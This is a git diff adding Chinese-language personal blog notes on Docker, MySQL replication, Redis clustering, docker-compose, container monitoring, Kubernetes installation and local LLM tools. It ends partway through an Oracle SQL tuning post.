mysql mysql:5.7 +[root@localhost ~]# cd /root/mysql/conf/ +[root@localhost conf]# vim my.cnf +[root@localhost conf]# cat my.cnf +[client] +default_character_set=utf8 +[mysqld] +collation_server=utf8_general_ci +character_set_server=utf8 +[root@localhost conf]# docker restart mysql +[root@localhost conf]# docker exec -it mysql bash +root@8d44a40748c4:/# mysql -uroot -p +mysql> SHOW VARIABLES LIKE 'character%'; + + +[root@localhost ~]# docker pull redis:6.0.8 +[root@localhost ~]# docker run -d -p 6379:6379 redis:6.0.8 +[root@localhost ~]# docker exec -it c84f153a97de /bin/bash +root@c84f153a97de:/data# redis-cli +127.0.0.1:6379> set k1 v1 +OK +127.0.0.1:6379> get k1 +"v1" +127.0.0.1:6379> + + +[root@localhost redis]# docker run -p 6379:6379 --name myredis --privileged=true -v /root/redis/redis.conf:/etc/redis/redis.conf -v /root/redis/data:/data -d redis:6.0.8 redis-server /etc/redis/redis.conf + +在这个地方 redis.conf的有些配置需要去调整一下，比如： +注释掉 # bind 127.0.0.1 -::1 +daemonize no 设置成no +appendonly yes 设置成yes + +databases 10 //通过调整数据的数量，来查看配置文件是否是正确的 +127.0.0.1:6379> select 9 +``` + +# mysql 主从复制 + +```shell +docker run -p 3307:3306 --name mysql-master \ +-v /mydata/mysql-master/log:/var/log/mysql \ +-v /mydata/mysql-master/data:/var/lib/mysql \ +-v /mydata/mysql-master/conf:/etc/mysql \ +-e MYSQL_ROOT_PASSWORD=root \ +-d mysql:5.7 + +[root@localhost redis]# vim /mydata/mysql-master/my.cnf +[root@localhost redis]# cat /mydata/mysql-master/my.cnf +[mysqld] +server_id=101 +binlog-ignore-db=mysql +log-bin=mall-mysql-bin +binlog_cache_size=1M +binlog_format=mixed +expire_logs_days=7 +slave_skip_errors=1062 + +[root@localhost redis]# docker restart mysql-master +[root@localhost redis]# docker ps +[root@localhost redis]# docker exec -it mysql-master /bin/bash +root@6c054b36b6da:/# mysql -uroot -proot +mysql> CREATE USER 'slave'@'%' IDENTIFIED BY '123456'; +mysql> GRANT REPLICATION SLAVE,REPLICATION CLIENT ON *.* TO 'slave'@'%'; + +docker run -p 3308:3306 --name mysql-slave \ +-v /mydata/mysql-slave/log:/var/log/mysql \ +-v /mydata/mysql-slave/data:/var/lib/mysql \ +-v /mydata/mysql-slave/conf:/etc/mysql \ +-e MYSQL_ROOT_PASSWORD=root \ +-d mysql:5.7 + +[root@localhost conf]# vim /mydata/mysql-slave/conf/my.cnf +[root@localhost conf]# cat my.cnf +[mysqld] +server_id=102 +binlog-ignore-db=mysql +log-bin=mall-mysql-slave1-bin +binlog_cache_size=1M +binlog_format=mixed +expire_logs_days=7 +slave_skip_errors=1062 +relay_log=mall-mysql-relay-bin +log_slave_updates=1 +read_only=1 +[root@localhost conf]# docker restart mysql-slave +[root@localhost conf]# docker ps + +[root@localhost conf]# docker exec -it mysql-master /bin/bash +root@6c054b36b6da:/# mysql -uroot -proot +mysql> show master status; + + +[root@localhost redis]# docker exec -it mysql-slave /bin/bash +root@77e8f7a776d0:/# mysql -uroot -proot +mysql> change master to master_host='172.16.52.128',master_user='slave',master_password='123456',master_port=3307, master_log_file='mall-mysql-bin.000001',master_log_pos=617,master_connect_retry=30; +mysql> show slave status \G; + Slave_IO_Running: No + Slave_SQL_Running: No +mysql> start slave; +mysql> show slave status \G; + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + +--- +master 操作 +mysql> create database t1; +Query OK, 1 row affected (0.00 sec) + +mysql> use t1; +Database changed +mysql> create table u1(id int, name varchar(32)); +Query OK, 0 rows affected (0.01 sec) +mysql> insert into u1 values (1,'z3'); +Query OK, 1 row affected (0.02 sec) + +slave 操作 +mysql> show databases; ++--------------------+ +| Database | ++--------------------+ +| information_schema | +| mysql | +| performance_schema | +| sys | +| t1 | ++--------------------+ +5 rows in set (0.00 sec) + +mysql> use t1; +Reading table information for completion of table and column names +You can turn off this feature to get a quicker startup with -A + +Database changed +mysql> show tables; ++--------------+ +| Tables_in_t1 | ++--------------+ +| u1 | ++--------------+ +1 row in set (0.00 sec) + +mysql> select * from u1; ++------+------+ +| id | name | ++------+------+ +| 1 | z3 | ++------+------+ +1 row in set (0.00 sec) + +可以看到在主表做了操作之后，从表也是可以看到的。 + +``` + +# redis 集群 + +```shell +[root@localhost ~]# systemctl start docker +[root@localhost ~]# docker run -d --name redis-node-1 --net host --privileged=true -v /data/redis/share/redis-node-1:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6381 + +docker run -d --name redis-node-2 --net host --privileged=true -v /data/redis/share/redis-node-2:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6382 +docker run -d --name redis-node-3 --net host --privileged=true -v /data/redis/share/redis-node-3:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6383 +docker run -d --name redis-node-4 --net host --privileged=true -v /data/redis/share/redis-node-4:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6384 +docker run -d --name redis-node-5 --net host --privileged=true -v /data/redis/share/redis-node-5:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6385 +docker run -d --name redis-node-6 --net host --privileged=true -v /data/redis/share/redis-node-6:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6386 + +[root@localhost ~]# docker exec -it redis-node-1 /bin/bash +root@localhost:/data# redis-cli --cluster create 172.16.52.128:6381 172.16.52.128:6382 172.16.52.128:6383 172.16.52.128:6384 172.16.52.128:6385 172.16.52.128:6386 --cluster-replicas 1 +root@localhost:/data# redis-cli -p 6381 +127.0.0.1:6381> keys * +(empty array) +127.0.0.1:6381> cluster info +cluster_state:ok +cluster_slots_assigned:16384 +cluster_slots_ok:16384 +cluster_slots_pfail:0 +cluster_slots_fail:0 +cluster_known_nodes:6 +cluster_size:3 +cluster_current_epoch:6 +cluster_my_epoch:1 +cluster_stats_messages_ping_sent:210 +cluster_stats_messages_pong_sent:224 +cluster_stats_messages_sent:434 +cluster_stats_messages_ping_received:219 +cluster_stats_messages_pong_received:210 +cluster_stats_messages_meet_received:5 +cluster_stats_messages_received:434 +127.0.0.1:6381> cluster nodes +0e7435f5ed13714e62eb0da0ddc0d9036939ebbf 172.16.52.128:6381@16381 myself,master - 0 1709019758000 1 connected 0-5460 +6d0d278d9ef3e91a6041f8a71f90b13a0a1e1ed4 172.16.52.128:6384@16384 slave a06367dc5096ce29e3571337b7a15e7adf707441 0 1709019759000 3 connected +159ff4633faa99063c0a2233757150f2098186e3 172.16.52.128:6386@16386 slave 046c6f06943d71fae987219e67c9a60393d309e6 0 1709019759169 2 connected +046c6f06943d71fae987219e67c9a60393d309e6 172.16.52.128:6382@16382 master - 0 1709019761178 2 connected 5461-10922 +a06367dc5096ce29e3571337b7a15e7adf707441 172.16.52.128:6383@16383 master - 0 1709019759000 3 connected 10923-16383 +4be3c296f86b2ac0ee082e5386d547350acc7860 172.16.52.128:6385@16385 slave 0e7435f5ed13714e62eb0da0ddc0d9036939ebbf 0 1709019760000 1 connected +127.0.0.1:6381> + + +[root@localhost ~]# docker exec -it redis-node-1 /bin/bash +root@localhost:/data# redis-cli -p 6381 -c +172.16.52.128:6383> FLUSHALL +172.16.52.128:6383> set k1 v1 +OK +172.16.52.128:6383> set k2 v2 +-> Redirected to slot [449] located at 172.16.52.128:6381 +OK + +root@localhost:/data# redis-cli --cluster check 172.16.52.128:6381 + +宕机迁移 + +[root@localhost ~]# docker stop redis-node-1 +[root@localhost ~]# docker exec -it redis-node-2 /bin/bash +root@localhost:/data# redis-cli -p 6385 -c +127.0.0.1:6385> cluster nodes +127.0.0.1:6385> get k1 +[root@localhost ~]# docker start redis-node-1 +172.16.52.128:6383> cluster nodes + +扩容 + +docker run -d --name redis-node-7 --net host --privileged=true -v /data/redis/share/redis-node-7:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6387 +docker run -d --name redis-node-8 --net host --privileged=true -v /data/redis/share/redis-node-8:/data redis:6.0.8 --cluster-enabled yes --appendonly yes --port 6388 + +[root@localhost ~]# docker ps + +[root@localhost ~]# docker exec -it redis-node-7 /bin/bash +root@localhost:/data# redis-cli --cluster add-node 172.16.52.128:6387 172.16.52.128:6381 +root@localhost:/data# redis-cli --cluster check 172.16.52.128:6381 + +root@localhost:/data# redis-cli --cluster reshard 172.16.52.128:6381 +16384/master台数=4096 +node ID放最新的master 的ID +然后选择all + +root@localhost:/data# redis-cli --cluster check 172.16.52.128:6381 + +root@localhost:/data# redis-cli --cluster add-node 172.16.52.128:6388 172.16.52.128:6387 --cluster-slave --cluster-master-id 95857e6e15dcea12c7f6dd8e4f4dca16aed5e2b6 + +缩容 + +root@localhost:/data# redis-cli --cluster del-node 172.16.52.128:6388 57f3668e363000840c279560f5a3c140d812bcf7 //删除6388从节点 +root@localhost:/data# redis-cli --cluster reshard 172.16.52.128:6381 //重新分配 + +注意：大小是4096，接受的是6381 ，发送的是6387 + +root@localhost:/data# redis-cli --cluster check 172.16.52.128:6381 + +root@localhost:/data# redis-cli --cluster del-node 172.16.52.128:6387 95857e6e15dcea12c7f6dd8e4f4dca16aed5e2b6 //删除6387主节点 + +root@localhost:/data# redis-cli --cluster check 172.16.52.128:6381 +``` + +# Dockerfile + +```shell +docs.docker.com/engine/reference/builder/ +https://github.com/docker-library/tomcat +https://www.oracle.com/java/technologies/downloads/#java8 +x64 Compressed Archive +https://mirrors.yangxingzhen.com/jdk/ + +[root@localhost myfile]# cat Dockerfile +FROM rockylinux:8 +MAINTAINER baoguo + +ENV MYPATH /usr/local +WORKDIR $MYPATH + +RUN yum -y install vim +RUN yum -y install net-tools +RUN yum -y install glibc.i686 +RUN mkdir /usr/local/java +ADD jdk-8u401-linux-x64.tar /usr/local/java/ + +ENV JAVA_HOME /usr/local/java/jdk1.8.0_401 +ENV JRE_HOME $JAVA_HOME/jre +ENV CLASSPATH $JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib:$CLASSPATH +ENV PATH $JAVA_HOME/bin:$PATH + +EXPOSE 80 + +CMD echo $MYPATH +CMD echo "success--------ok" +CMD /bin/bash + + +[root@localhost myfile]# docker build -t centosjava8:1.5 . + +虚悬镜像 + +[root@localhost myfile2]# cat Dockerfile +from ubuntu +CMD echo 'action is success' +[root@localhost myfile2]# docker build . +[root@localhost myfile2]# docker image ls -f dangling=true //查看虚悬镜像 +[root@localhost myfile2]# docker image prune //删除虚悬镜像 +``` + +# Docker 微服务 + +```shell +[root@localhost mydocker]# cat Dockerfile +FROM openjdk:11 +MAINTAINER baoguo +VOLUME /tmp +ADD demo-0.0.1-SNAPSHOT.jar docker.jar +RUN bash -c 'touch /docker.jar' +ENTRYPOINT ["java", "-jar","/docker.jar"] +EXPOSE 6001 + + +[root@localhost mydocker]# docker build -t baoguo_docker:1.6 . +[root@localhost mydocker]# docker run -d -it -p 6001:6001 baoguo_docker:1.6 /bin/bash + + +http://172.16.52.130:6001/order/index +curl http://172.16.52.130:6001/order/index +``` + +# Docker 网络 + +```shell +[root@localhost ~]# docker network ls +NETWORK ID NAME DRIVER SCOPE +b9e28be4a7b7 bridge bridge local +fba5a4d6518f host host local +1cdf2d4d2374 none null local + +[root@localhost ~]# docker network create aa_network +e7a10f9eb533291274b6a875e60448e31510fdcd7172ce7300cfcc40b6ce98b5 +[root@localhost ~]# docker network ls +NETWORK ID NAME DRIVER SCOPE +e7a10f9eb533 aa_network bridge local +b9e28be4a7b7 bridge bridge local +fba5a4d6518f host host local +1cdf2d4d2374 none null local +[root@localhost ~]# docker network rm aa_network +aa_network +[root@localhost ~]# docker network ls +NETWORK ID NAME DRIVER SCOPE +b9e28be4a7b7 bridge bridge local +fba5a4d6518f host host local +1cdf2d4d2374 none null local +[root@localhost ~]# docker network inspect b9e28be4a7b7 + +bridge模式：常用模式，每个Docker有自己独立的IP地址 +host模式：公用主机网络 +none模式：一般不用 +container模式：使用另外一个容器的网络 + +[root@localhost ~]# docker inspect 7ae5d643d3c3 | tail -n 20 + +案例 - bridge +[root@localhost ~]# docker run -d -p 8081:8080 --name tomcat81 billygoo/tomcat8-jdk8 +[root@localhost ~]# docker run -d -p 8082:8080 --name tomcat82 billygoo/tomcat8-jdk8 + +案例 - host +[root@localhost ~]# docker run -d --network host --name tomcat83 billygoo/tomcat8-jdk8 +[root@localhost ~]# docker exec -it tomcat83 bash +root@localhost:/usr/local/tomcat# ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever + inet6 ::1/128 scope host + valid_lft forever preferred_lft forever +2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 + link/ether 00:0c:29:5c:03:00 brd ff:ff:ff:ff:ff:ff + inet 172.16.52.130/24 brd 172.16.52.255 scope global noprefixroute dynamic ens33 + valid_lft 1303sec preferred_lft 1303sec + inet6 fe80::c192:bb34:da96:5f96/64 scope link noprefixroute + valid_lft forever preferred_lft forever +3: virbr0: mtu 1500 qdisc noqueue state DOWN group default qlen 1000 + link/ether 52:54:00:4e:60:ac brd ff:ff:ff:ff:ff:ff +4: virbr0-nic: mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000 + link/ether 52:54:00:4e:60:ac brd ff:ff:ff:ff:ff:ff +5: docker0: mtu 1500 qdisc noqueue state UP group default + link/ether 02:42:cf:05:8a:fc brd ff:ff:ff:ff:ff:ff + inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 + valid_lft forever preferred_lft forever + inet6 fe80::42:cfff:fe05:8afc/64 scope link + valid_lft forever preferred_lft forever +42: vethb16d7ee@if41: mtu 1500 qdisc noqueue master docker0 state UP group default + link/ether 02:dd:bf:f8:b9:80 brd ff:ff:ff:ff:ff:ff link-netnsid 3 + inet6 fe80::dd:bfff:fef8:b980/64 scope link + valid_lft forever preferred_lft forever +44: vethd6f2b8d@if43: mtu 1500 qdisc noqueue master docker0 state UP group default + link/ether ae:d1:72:55:74:bd brd ff:ff:ff:ff:ff:ff link-netnsid 4 + inet6 fe80::acd1:72ff:fe55:74bd/64 scope link + valid_lft forever preferred_lft forever + +和主机一模一样 + +http://172.16.52.130:8080 +主机IP加port直接访问，记得关闭防火墙 + +None模式 +[root@localhost ~]# docker run -d -p 8084:8080 --network none --name tomcat84 billygoo/tomcat8-jdk8 + +Container网络模式 +[root@localhost ~]# docker run -it --name alpine1 alpine /bin/sh +[root@localhost ~]# docker run -it --network container:alpine1 --name alpine2 alpine /bin/sh +[root@localhost ~]# docker inspect alpine1 | tail -n 20 +[root@localhost ~]# docker inspect alpine2 | tail -n 20 +[root@localhost ~]# docker exec -it alpine1 /bin/sh +/ # ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever +45: eth0@if46: mtu 1500 qdisc noqueue state UP + link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff + inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 + valid_lft forever preferred_lft forever +/ # exit +[root@localhost ~]# docker exec -it alpine2 /bin/sh +/ # ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever +45: eth0@if46: mtu 1500 qdisc noqueue state UP + link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff + inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 + valid_lft forever preferred_lft forever + +[root@localhost ~]# docker stop alpine1 +alpine1 +[root@localhost ~]# docker exec -it alpine2 /bin/sh +/ # ip addr +1: lo: mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 + link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 + inet 127.0.0.1/8 scope host lo + valid_lft forever preferred_lft forever +/ # + +自定义网络 +[root@localhost ~]# docker network create baoguo_network +[root@localhost ~]# docker run -d -p 8081:8080 --network baoguo_network --name tomcat81 billygoo/tomcat8-jdk8 +1545ce812cab6a8d0119c997f541171e5414820b78d18825c18a67038033ffb9 +[root@localhost ~]# docker run -d -p 8082:8080 --network baoguo_network --name tomcat82 billygoo/tomcat8-jdk8 +82161d42aed6ef5c72f6b0731ad2cde064cbb2696cc06bf14ec131f0f7f92ce3 +[root@localhost ~]# docker exec -it tomcat81 /bin/bash +root@1545ce812cab:/usr/local/tomcat# ping tomcat82 +PING tomcat82 (172.19.0.3) 56(84) bytes of data. +64 bytes from tomcat82.baoguo_network (172.19.0.3): icmp_seq=1 ttl=64 time=0.119 ms +64 bytes from tomcat82.baoguo_network (172.19.0.3): icmp_seq=2 ttl=64 time=0.069 ms +root@1545ce812cab:/usr/local/tomcat# +``` + +# Docker-compose 容器编排 + +```shell +https://docs.docker.com/compose/compose-file/compose-file-v3/ +https://docs.docker.com/compose/install/ + +[root@localhost ~]# curl -SL https://github.com/docker/compose/releases/download/v2.24.6/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose + +[root@localhost ~]# mv docker-compose-linux-x86_64 /usr/local/bin/docker-compose +[root@localhost ~]# chmod +x /usr/local/bin/docker-compose +[root@localhost ~]# docker-compose --version +Docker Compose version v2.24.6 + +docker-compose.yml + +services: + microService: + image: baoguo_docker:1.6 + container_name: ms01 + ports: + - "6001:6001" + volumnes: + - /app/microService:/data + networks: + - baoguo_net + depends_on: + - redis + - mysql + + redis: + image: redis:6.0.8 + ports: + - "6379:6379" + volumes: + - /app/redis/redis.conf:/etc/redis/redis.conf + - /app/redis/data:/data + networks: + - baoguo_net + command: redis-server /etc/redis/redis.conf + + mysql: + image: mysql:5.7 + environment: + MYSQL_ROOT_PASSWORD: '123456' + MYSQL_ALLOW_EMPTY_PASSWORD: 'no' + MYSQL_DATABASE: 'db2024' + MYSQL_USER: 'root' + MYSQL_PASSWORD: '123456' + ports: + - "3306:3306" + volumes: + - /app/mysql/db:/var/lib/mysql + - /app/mysql/conf/my.cnf:/etc/my.cnf + - /app/mysql/init:/docker-entrypoint-initdb.d + networks: + - baoguo_net + command: --default-authentication-plugin=mysql_native_password + +networks: + baoguo_net: + + + +检验 yml 文件是否正确 +[root@localhost ~]# docker-compose config -q +[root@localhost ~]# docker-compose up -d +[root@localhost ~]# docker-compose stop + +``` + +# Docker 轻量级可视化工具Portainer + +```shell +用于监控和统计 + +https://www.portainer.io/ +https://docs.portainer.io/v/ce-2.9/start/install/server/docker/linux + +[root@localhost docker-compose]# docker run -d -p 8000:8000 -p 9000:9000 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest + +http://172.16.52.131:9000/#!/init/admin + + +``` + +# Docker 容器监控之 CAdvisor + InfluxDB + Granfana + +```shell +相当于java 的ELK + +CAdvisor 监控收集 +InfluxDB 存储数据 +Granfana 展示图标 + + +[root@localhost ~]# docker stats + +[root@localhost cig]# cat docker-compose.yml +version: '3.1' + +volumes: + grafana_data: {} + +services: + influxdb: + image: tutum/influxdb:0.9 + restart: always + environment: + - PRE_CREATE_DB=cadvisor + ports: + - "8083:8083" + - "8086:8086" + volumes: + - ./data/influxdb:/data + + cadvisor: + image: google/cadvisor + links: + - influxdb:influxsrv + command: -storage_driver=influxdb -storage_driver_db=cadvisor -storage_driver_host=influxsrv:8086 + restart: always + ports: + - "8080:8080" + volumes: + - /:/rootfs:ro + - /var/run:/var/run:rw + - /sys:/sys:ro + - /var/lib/docker/:/var/lib/docker:ro + + grafana: + user: "104" + image: grafana/grafana + restart: always + links: + - influxdb:influxsrv + ports: + - "3000:3000" + volumes: + - grafana_data:/var/lib/grafana + environment: + - HTTP_USER=admin + - HTTP_PASS=admin + - INFLUXDB_HOST=influxsrv + - INFLUXDB_PORT=8086 + - INFLUXDB_NAME=cadvisor + - INFLUXDB_USER=root + - INFLUXDB_PASS=root +[root@localhost cig]# docker-compose up + +收集 http://172.16.52.131:8080/containers/ +存储 http://172.16.52.131:8083 +展现 http://172.16.52.131:3000/login admin-admin +``` + + + diff --git a/_posts/2024-03-02-638-k8s.md b/_posts/2024-03-02-638-k8s.md new file mode 100644 index 0000000..48f34b1 --- /dev/null +++ b/_posts/2024-03-02-638-k8s.md @@ -0,0 +1,241 @@ +--- +layout: post +title: k8s +pid: 638 +tags: [k8s] +--- + +安装centos7,2核，4GB内存，30GB硬盘 + +# 每个环境初始化设置 + +```shell +关闭防火墙 +[root@localhost ~]# systemctl stop firewalld +[root@localhost ~]# systemctl disable firewalld + +关闭selinux +sed -i 's/enforcing/disabled/' /etc/selinux/config # 永久 +setenforce 0 #临时 + +关闭swap +swapoff -a #临时 +sed -ri 's/.*swap.*/#&/' /etc/fstab # 永久 +禁用 vim /etc/fstab之后，reboot + +根据规划设置主机名 +[root@localhost ~]# hostnamectl set-hostname master + +在master添加hosts +[root@localhost ~]# cat >> /etc/hosts << EOF +172.16.52.132 master +172.16.52.133 node1 +172.16.52.134 node2 +EOF + +将桥接的IPv4流量传递到iptalbes的链 +[root@localhost ~]# cat > /etc/sysctl.d/k8s.conf << EOF +net.bridge.bridge-nf-call-ip6tables = 1 +net.bridge.bridge-nf-call-iptables = 1 +EOF +[root@localhost ~]# sysctl --system + +时间同步 +[root@localhost ~]# ntpdate time.windows.com +[root@localhost ~]# +``` + +# 所有节点安装Docker/kubeadm/kubelet + +```shell +wget https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo +yum -y install docker-ce-18.06.1.ce-3.el7 +systemctl enable docker && systemctl start docker +docker --version + +cat > /etc/docker/daemon.json << EOF +{ + "registry-mirrors": ["https://86o6qk1h.mirror.aliyuncs.com"] +} +EOF +sudo systemctl daemon-reload +sudo systemctl restart docker + +cat > /etc/yum.repos.d/kubernetes.repo << EOF +[kubernetes] +name=Kubernetes +baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64 +enabled=1 +gpgcheck=0 +repo_gpgcheck=0 +gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg +http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg +EOF + +yum install -y kubelet-1.18.0 kubeadm-1.18.0 kubectl-1.18.0 +systemctl enable kubelet +``` + +# 部署Kubernetes Master + +```shell +kubeadm init --apiserver-advertise-address=172.16.52.132 --image-repository registry.aliyuncs.com/google_containers --kubernetes-version v1.18.0 --service-cidr=10.96.0.0/12 --pod-network-cidr=10.244.0.0/16 + +下面的内容，都是从提示信息中copy出来的 + +mkdir -p $HOME/.kube +sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config +sudo chown $(id -u):$(id -g) $HOME/.kube/config +kubectl get nodes + +To start using your cluster, you need to run the following as a regular user: + + mkdir -p $HOME/.kube + sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config + sudo chown $(id -u):$(id -g) $HOME/.kube/config + +You should now deploy a pod network to the cluster. +Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at: + https://kubernetes.io/docs/concepts/cluster-administration/addons/ + +Then you can join any number of worker nodes by running the following on each as root: + +kubeadm join 172.16.52.132:6443 --token khv2eo.l8x25oujzbkexgst \ + --discovery-token-ca-cert-hash sha256:1258d780ce155ec34f8916105d205d381ab6c3dcf695a7387aa60368b69ada4e +``` + + + +# 部署CNI网络插件 + +```shell +在master上运行 +kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml + +kubectl get pods -n kube-system + +kubectl get nodes +``` + +# 测试kubernetes集群 + +```shell +kubectl create deployment nginx --image=nginx +kubectl expose deployment nginx --port=80 --type=NodePort +kubectl get pod,svc + +[root@master ~]# kubectl get pod,svc +NAME READY STATUS RESTARTS AGE +pod/nginx-f89759699-h98d6 1/1 Running 0 83s + +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +service/kubernetes ClusterIP 10.96.0.1 443/TCP 19m +service/nginx NodePort 10.111.241.67 80:31286/TCP 42s + + +http://172.16.52.132:31286 # 任意一个节点加上端口，都可以访问 +http://172.16.52.133:31286 +http://172.16.52.134:31286 +``` + + + +# Kubernetes 二进制安装方式 + +```shell +部署etcd集群 + +wget https://pkg.cfssl.org/R1.2/cfssl_linux-amd64 +wget https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64 +wget https://pkg.cfssl.org/R1.2/cfssl-certinfo_linux-amd64 +chmod +x cfssl_linux-amd64 cfssljson_linux-amd64 cfssl-certinfo_linux-amd64 +mv cfssl_linux-amd64 /usr/local/bin/cfssl +mv cfssljson_linux-amd64 /usr/local/bin/cfssljson +mv cfssl-certinfo_linux-amd64 /usr/bin/cfssl-certinfo + +[root@m1 ~]# mkdir -p ~/TLS/{etcd,k8s} +[root@m1 ~]# cd TLS/etcd/ +cat > ca-config.json<< EOF +{ + "signing": { + "default": { + "expiry": "87600h" + }, + "profiles": { + "www": { + "expiry": "87600h", + "usages": [ + "signing", + "key encipherment", + "server auth", + "client auth" + ] + } + } + } +} +EOF + +cat > ca-csr.json<< EOF +{ +"CN": "etcd CA", +"key": { +"algo": "rsa", +"size": 2048 +}, +"names": [ +{ +"C": "CN", +"L": "Beijing", +"ST": "Beijing" +} +] +} +EOF + +cfssl gencert -initca ca-csr.json | cfssljson -bare ca - +ls *pem + +cat > server-csr.json<< EOF +{ +"CN": "etcd", +"hosts": [ +"172.16.52.135", +"172.16.52.136" +], +"key": { +"algo": "rsa", +"size": 2048 +}, +"names": [ +{ +"C": "CN", +"L": "BeiJing", +"ST": "BeiJing" +} +] +} +EOF + + +cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=www server-csr.json | cfssljson -bare server + +[root@m1 etcd]# ls server*pem + +wget https://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz + +ETCDCTL_API=3 /opt/etcd/bin/etcdctl --cacert=/opt/etcd/ssl/ca.pem --cert=/opt/etcd/ssl/server.pem --key=/opt/etcd/ssl/server-key.pem --endpoints="https://172.16.52.135:2379,https://172.16.52.136:2379" endpoint health +``` + + + + + +可以参考 + +k8s集群 (二进制安装方式) + +https://blog.csdn.net/qq_40942490/article/details/114022294 + +https://gitee.com/moxi159753/LearningNotes/tree/master/K8S + diff --git a/_posts/2024-03-21-639-ollama.md b/_posts/2024-03-21-639-ollama.md new file mode 100644 index 0000000..9d27adf --- /dev/null +++ b/_posts/2024-03-21-639-ollama.md @@ -0,0 +1,16 @@ +--- +layout: post +title: ollama +pid: 639 +tags: [ai] +--- + +ollama run llama2 + +ollama run [model name] + +https://ollama.com/library + +ollama serve + + diff --git a/_posts/2024-03-21-640-open-webui.md b/_posts/2024-03-21-640-open-webui.md new file mode 100644 index 0000000..9c4c4d0 --- /dev/null +++ b/_posts/2024-03-21-640-open-webui.md @@ -0,0 +1,21 @@ +--- +layout: post +title: open webui +pid: 640 +tags: [ai] +--- + +docker pull ghcr.io/open-webui/open-webui:git-5a90e90 + + + +docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main + + + +docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:git-5a90e90 + +http://localhost:3000/auth/ + + + diff --git a/_posts/2024-03-21-641-anythingLLM.md b/_posts/2024-03-21-641-anythingLLM.md new file mode 100644 index 0000000..1667142 --- /dev/null +++ b/_posts/2024-03-21-641-anythingLLM.md @@ -0,0 +1,11 @@ +--- +layout: post +title: AnythingLLM +pid: 641 +tags: [ai] +--- + +持续更新中 + + + diff --git a/_posts/2024-03-22-642-ngrok.md b/_posts/2024-03-22-642-ngrok.md new file mode 100644 index 0000000..252e970 --- /dev/null +++ b/_posts/2024-03-22-642-ngrok.md @@ -0,0 +1,11 @@ +--- +layout: post +title: ngrok +pid: 642 +tags: [ai] +--- + +ngrok http http://localhost:3000 + + + diff --git a/_posts/2024-03-22-643-tar.md b/_posts/2024-03-22-643-tar.md new file mode 100644 index 0000000..9145e57 --- /dev/null +++ b/_posts/2024-03-22-643-tar.md @@ -0,0 +1,17 @@ +--- +layout: post +title: tar +pid: 643 +tags: [linux] +--- + +tar -cvf archive.tar file1 file2 directory + +tar -xvf archive.tar + +tar -zcvf archive.tar.gz file1 file2 directory + +tar -zxvf archive.tar.gz + + + diff --git a/_posts/2024-05-07-644-sql.md b/_posts/2024-05-07-644-sql.md new file mode 100644 index 0000000..171cfa4 --- /dev/null +++ b/_posts/2024-05-07-644-sql.md @@ -0,0 +1,49 @@ +--- +layout: post +title: sql优化 +pid: 644 +tags: [sql, oracle] +--- + +select * + from (select sa.SQL_TEXT, + sa.SQL_FULLTEXT, + sa.LAST_LOAD_TIME, + sa.EXECUTIONS "执行次数", + round(sa.ELAPSED_TIME / 1000000, 2) "总执行时间", + round(sa.ELAPSED_TIME / 1000000 / sa.EXECUTIONS, 2) "平均执行时间", + sa.COMMAND_TYPE, + sa.PARSING_USER_ID "用户D", + u.username "用户名", + sa.HASH_VALUE + from v$sqlarea sa + left join all_users u + on sa.PARSING_USER_ID = u.user_id + where sa.EXECUTIONS > 0 and sa.LAST_LOAD_TIME>trunc(sysdate) + order by (sa.ELAPSED_TIME / sa.EXECUTIONS) desc) + where rownum <= 50; + +SELECT sq.INST_ID, + SQ.SQL_TEXT, /*SQL文本/ + SE.SID, /*会话的唯一标识，通常要对某个会话进行分析前，首先就需要获得该会话的ID。/ 